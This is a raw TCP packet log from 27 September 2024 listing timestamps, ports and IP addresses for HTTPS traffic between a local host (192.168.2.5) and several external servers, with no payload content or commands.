Sep 27, 2024 05:50:57.754924059 CEST	443	49826	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.754985094 CEST	49826	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.755247116 CEST	443	49812	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.755306959 CEST	49812	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.755446911 CEST	443	49805	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.755552053 CEST	49826	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.755579948 CEST	443	49826	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.755881071 CEST	49812	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.756067991 CEST	443	49812	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.756092072 CEST	49812	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.791402102 CEST	443	49810	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.791450977 CEST	443	49811	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.793184042 CEST	49810	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.793190956 CEST	49811	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.793215990 CEST	443	49811	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.799423933 CEST	443	49812	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.809199095 CEST	49812	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.809262037 CEST	443	49812	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.813807964 CEST	443	49808	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.813985109 CEST	443	49808	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.814035892 CEST	49808	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.814317942 CEST	49808	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.814333916 CEST	443	49808	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.814346075 CEST	49808	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.814378977 CEST	49808	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.814753056 CEST	49827	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.814800978 CEST	443	49827	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.814858913 CEST	49827	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.815187931 CEST	49827	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.815216064 CEST	443	49827	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.820321083 CEST	443	49802	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.820391893 CEST	49802	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.820420980 CEST	443	49802	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.820445061 CEST	443	49802	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.820492029 CEST	49802	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.820633888 CEST	49802	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.820646048 CEST	443	49802	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.821079016 CEST	49828	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.821152925 CEST	443	49828	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.821228981 CEST	49828	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.821932077 CEST	49828	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.821959019 CEST	443	49828	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.831979990 CEST	443	49805	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.832071066 CEST	443	49805	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.832117081 CEST	49805	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.832325935 CEST	49805	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.832346916 CEST	443	49805	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.832355976 CEST	49805	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.832389116 CEST	49805	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.832664967 CEST	49829	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.832690954 CEST	443	49829	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.832755089 CEST	49829	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.833034039 CEST	49829	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.833058119 CEST	443	49829	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.841178894 CEST	49811	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.856551886 CEST	443	49815	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.856753111 CEST	49815	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.856777906 CEST	443	49815	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.857183933 CEST	49812	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.858228922 CEST	443	49815	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.858294964 CEST	49815	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.858696938 CEST	49815	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.858772993 CEST	443	49815	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.858977079 CEST	49815	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.858985901 CEST	443	49815	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.864983082 CEST	443	49811	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.865082026 CEST	443	49811	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.865133047 CEST	49811	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.865382910 CEST	49811	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.865402937 CEST	443	49811	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.865411997 CEST	49811	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.865448952 CEST	49811	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.865684032 CEST	49830	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.865734100 CEST	443	49830	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.865797043 CEST	49830	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.866009951 CEST	49830	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.866053104 CEST	443	49830	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.867988110 CEST	443	49810	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.868082047 CEST	443	49810	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.868129969 CEST	49810	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.868335962 CEST	49810	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.868355989 CEST	443	49810	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.868364096 CEST	49810	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.868398905 CEST	49810	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.868648052 CEST	49831	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.868683100 CEST	443	49831	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.868732929 CEST	49831	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.869000912 CEST	49831	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.869014978 CEST	443	49831	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.870204926 CEST	443	49812	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.870362997 CEST	443	49812	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.870413065 CEST	49812	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.870528936 CEST	49812	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.870546103 CEST	443	49812	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.870575905 CEST	49812	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.870601892 CEST	49812	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.870848894 CEST	49832	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.870873928 CEST	443	49832	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.870923996 CEST	49832	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.871231079 CEST	49832	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.871244907 CEST	443	49832	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.872251987 CEST	443	49820	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.872266054 CEST	443	49819	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.872463942 CEST	49819	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.872469902 CEST	443	49819	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.872564077 CEST	49820	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.872591972 CEST	443	49820	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.872692108 CEST	443	49814	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:57.872858047 CEST	49814	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:57.872879028 CEST	443	49814	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:57.872950077 CEST	443	49819	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.873337984 CEST	49819	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.873476982 CEST	443	49819	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.873541117 CEST	49819	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.874435902 CEST	443	49814	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:57.874511003 CEST	49814	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:57.874794960 CEST	49814	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:57.874891996 CEST	49814	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:57.874900103 CEST	443	49814	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:57.876348972 CEST	443	49820	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.876416922 CEST	49820	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.876761913 CEST	49820	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.876795053 CEST	49820	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.876821041 CEST	443	49820	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.876962900 CEST	443	49820	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.884946108 CEST	443	49817	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.885138988 CEST	49817	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.885154963 CEST	443	49817	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.885478973 CEST	443	49817	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.885778904 CEST	49817	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.885848045 CEST	443	49817	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.885925055 CEST	49817	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.896291971 CEST	443	49821	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.896511078 CEST	49821	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.896572113 CEST	443	49821	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.897577047 CEST	443	49821	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.897641897 CEST	49821	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.897974014 CEST	49821	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.898046017 CEST	443	49821	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.898160934 CEST	49821	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.898178101 CEST	443	49821	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.904203892 CEST	49815	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.905973911 CEST	443	49822	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.906152964 CEST	49822	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.906168938 CEST	443	49822	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.910063982 CEST	443	49822	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.910137892 CEST	49822	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.910406113 CEST	49822	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.910559893 CEST	49822	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.910568953 CEST	443	49822	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.910624027 CEST	443	49822	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.919406891 CEST	443	49819	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.919419050 CEST	443	49814	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:57.920195103 CEST	49814	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:57.920212984 CEST	443	49814	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:57.920236111 CEST	49820	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.920247078 CEST	443	49820	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.927402020 CEST	443	49817	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.951193094 CEST	49821	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.951271057 CEST	49822	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.951299906 CEST	443	49822	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.962893009 CEST	443	49818	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:57.963104963 CEST	49818	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:57.963126898 CEST	443	49818	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:57.963622093 CEST	443	49818	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:57.963975906 CEST	49818	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:57.964056015 CEST	443	49818	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:57.964215994 CEST	49818	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:57.967190981 CEST	49814	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:57.967220068 CEST	49820	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.989507914 CEST	443	49815	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.989607096 CEST	443	49815	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.989658117 CEST	49815	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.989887953 CEST	49815	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.989907980 CEST	443	49815	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.989918947 CEST	49815	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.989953995 CEST	49815	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.999212980 CEST	49822	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.002645016 CEST	443	49820	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.002705097 CEST	443	49820	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.002773046 CEST	49820	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.002810001 CEST	443	49820	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.002865076 CEST	49820	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.002888918 CEST	443	49820	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.002943039 CEST	49820	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.003370047 CEST	49820	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.003417969 CEST	443	49820	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.006098032 CEST	443	49819	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.006155968 CEST	443	49819	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.006196976 CEST	443	49819	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.006217003 CEST	49819	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.006231070 CEST	443	49819	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.006244898 CEST	49819	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.006274939 CEST	49819	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.011425018 CEST	443	49818	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:58.019735098 CEST	443	49817	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.019757032 CEST	443	49817	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.019809008 CEST	49817	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.019820929 CEST	443	49817	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.019870043 CEST	49817	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.020375967 CEST	49817	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.020407915 CEST	443	49817	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.031474113 CEST	443	49821	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.031500101 CEST	443	49821	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.031507969 CEST	443	49821	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.031526089 CEST	443	49821	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.031534910 CEST	443	49821	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.031541109 CEST	443	49821	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.031548023 CEST	49821	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.031589031 CEST	443	49821	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.031619072 CEST	49821	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.031644106 CEST	49821	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.038131952 CEST	443	49822	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.038186073 CEST	443	49822	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.038208008 CEST	443	49822	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.038240910 CEST	49822	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.038258076 CEST	443	49822	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.038286924 CEST	49822	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.038345098 CEST	443	49822	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.038394928 CEST	49822	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.038846970 CEST	49822	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.038877010 CEST	443	49822	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.067940950 CEST	443	49809	111.45.11.83	192.168.2.5
Sep 27, 2024 05:50:58.068259001 CEST	49809	443	192.168.2.5	111.45.11.83
Sep 27, 2024 05:50:58.068274021 CEST	443	49809	111.45.11.83	192.168.2.5
Sep 27, 2024 05:50:58.068754911 CEST	443	49809	111.45.11.83	192.168.2.5
Sep 27, 2024 05:50:58.068809986 CEST	49809	443	192.168.2.5	111.45.11.83
Sep 27, 2024 05:50:58.069765091 CEST	443	49809	111.45.11.83	192.168.2.5
Sep 27, 2024 05:50:58.069802046 CEST	49809	443	192.168.2.5	111.45.11.83
Sep 27, 2024 05:50:58.079931974 CEST	49809	443	192.168.2.5	111.45.11.83
Sep 27, 2024 05:50:58.080024004 CEST	443	49809	111.45.11.83	192.168.2.5
Sep 27, 2024 05:50:58.084311962 CEST	49809	443	192.168.2.5	111.45.11.83
Sep 27, 2024 05:50:58.084332943 CEST	443	49809	111.45.11.83	192.168.2.5
Sep 27, 2024 05:50:58.089751005 CEST	443	49819	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.089787006 CEST	443	49819	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.089817047 CEST	49819	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.089827061 CEST	443	49819	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.089859962 CEST	49819	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.089878082 CEST	49819	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.091809034 CEST	443	49819	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.091830015 CEST	443	49819	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.091886044 CEST	49819	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.091892004 CEST	443	49819	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.091948032 CEST	49819	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.115396976 CEST	443	49821	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.115417957 CEST	443	49821	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.115483046 CEST	49821	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.115565062 CEST	443	49821	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.115614891 CEST	49821	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.115616083 CEST	49821	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.122168064 CEST	443	49821	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.122184992 CEST	443	49821	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.122229099 CEST	49821	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.122246027 CEST	443	49821	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.122277975 CEST	49821	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.122298002 CEST	49821	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.136866093 CEST	49809	443	192.168.2.5	111.45.11.83
Sep 27, 2024 05:50:58.176527977 CEST	443	49819	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.176563978 CEST	443	49819	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.176594973 CEST	49819	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.176604033 CEST	443	49819	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.176636934 CEST	49819	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.176637888 CEST	443	49819	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.176681995 CEST	49819	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.206041098 CEST	443	49821	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.206063032 CEST	443	49821	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.206201077 CEST	49821	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.206201077 CEST	49821	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.206235886 CEST	443	49821	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.206278086 CEST	49821	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.207319021 CEST	443	49821	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.207341909 CEST	443	49821	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.207379103 CEST	49821	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.207398891 CEST	443	49821	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.207422018 CEST	49821	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.207436085 CEST	49821	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.208950996 CEST	443	49821	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.208971024 CEST	443	49821	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.209011078 CEST	49821	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.209018946 CEST	443	49821	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.209050894 CEST	49821	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.209064007 CEST	49821	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.213105917 CEST	443	49821	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.213120937 CEST	443	49821	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.213156939 CEST	443	49821	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.213161945 CEST	49821	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.213171959 CEST	443	49821	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.213202953 CEST	49821	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.213238955 CEST	443	49821	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.213284969 CEST	49821	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.230072021 CEST	49833	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:50:58.230134010 CEST	443	49833	211.149.140.201	192.168.2.5
Sep 27, 2024 05:50:58.230201006 CEST	49833	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:50:58.230421066 CEST	49819	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.230437040 CEST	443	49819	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.233078003 CEST	49834	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:50:58.233100891 CEST	443	49834	211.149.140.201	192.168.2.5
Sep 27, 2024 05:50:58.233160019 CEST	49834	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:50:58.234194994 CEST	49835	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:50:58.234277964 CEST	443	49835	211.149.140.201	192.168.2.5
Sep 27, 2024 05:50:58.234343052 CEST	49835	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:50:58.235161066 CEST	49836	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:50:58.235186100 CEST	443	49836	211.149.140.201	192.168.2.5
Sep 27, 2024 05:50:58.235234976 CEST	49836	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:50:58.236974001 CEST	49833	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:50:58.237004995 CEST	443	49833	211.149.140.201	192.168.2.5
Sep 27, 2024 05:50:58.237947941 CEST	49834	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:50:58.237989902 CEST	443	49834	211.149.140.201	192.168.2.5
Sep 27, 2024 05:50:58.238354921 CEST	49835	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:50:58.238389969 CEST	443	49835	211.149.140.201	192.168.2.5
Sep 27, 2024 05:50:58.238635063 CEST	49836	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:50:58.238655090 CEST	443	49836	211.149.140.201	192.168.2.5
Sep 27, 2024 05:50:58.242027998 CEST	49821	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.242065907 CEST	443	49821	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.246172905 CEST	443	49795	211.149.140.201	192.168.2.5
Sep 27, 2024 05:50:58.246232033 CEST	443	49795	211.149.140.201	192.168.2.5
Sep 27, 2024 05:50:58.246285915 CEST	49795	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:50:58.246314049 CEST	443	49795	211.149.140.201	192.168.2.5
Sep 27, 2024 05:50:58.247544050 CEST	443	49795	211.149.140.201	192.168.2.5
Sep 27, 2024 05:50:58.247606039 CEST	49795	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:50:58.250205040 CEST	49795	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:50:58.250232935 CEST	443	49795	211.149.140.201	192.168.2.5
Sep 27, 2024 05:50:58.251265049 CEST	49837	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:50:58.251338005 CEST	443	49837	211.149.140.201	192.168.2.5
Sep 27, 2024 05:50:58.251432896 CEST	49837	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:50:58.274854898 CEST	443	49813	118.123.207.191	192.168.2.5
Sep 27, 2024 05:50:58.283260107 CEST	49837	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:50:58.283296108 CEST	443	49837	211.149.140.201	192.168.2.5
Sep 27, 2024 05:50:58.283543110 CEST	49813	443	192.168.2.5	118.123.207.191
Sep 27, 2024 05:50:58.283566952 CEST	443	49813	118.123.207.191	192.168.2.5
Sep 27, 2024 05:50:58.293065071 CEST	443	49813	118.123.207.191	192.168.2.5
Sep 27, 2024 05:50:58.293131113 CEST	49813	443	192.168.2.5	118.123.207.191
Sep 27, 2024 05:50:58.296722889 CEST	49813	443	192.168.2.5	118.123.207.191
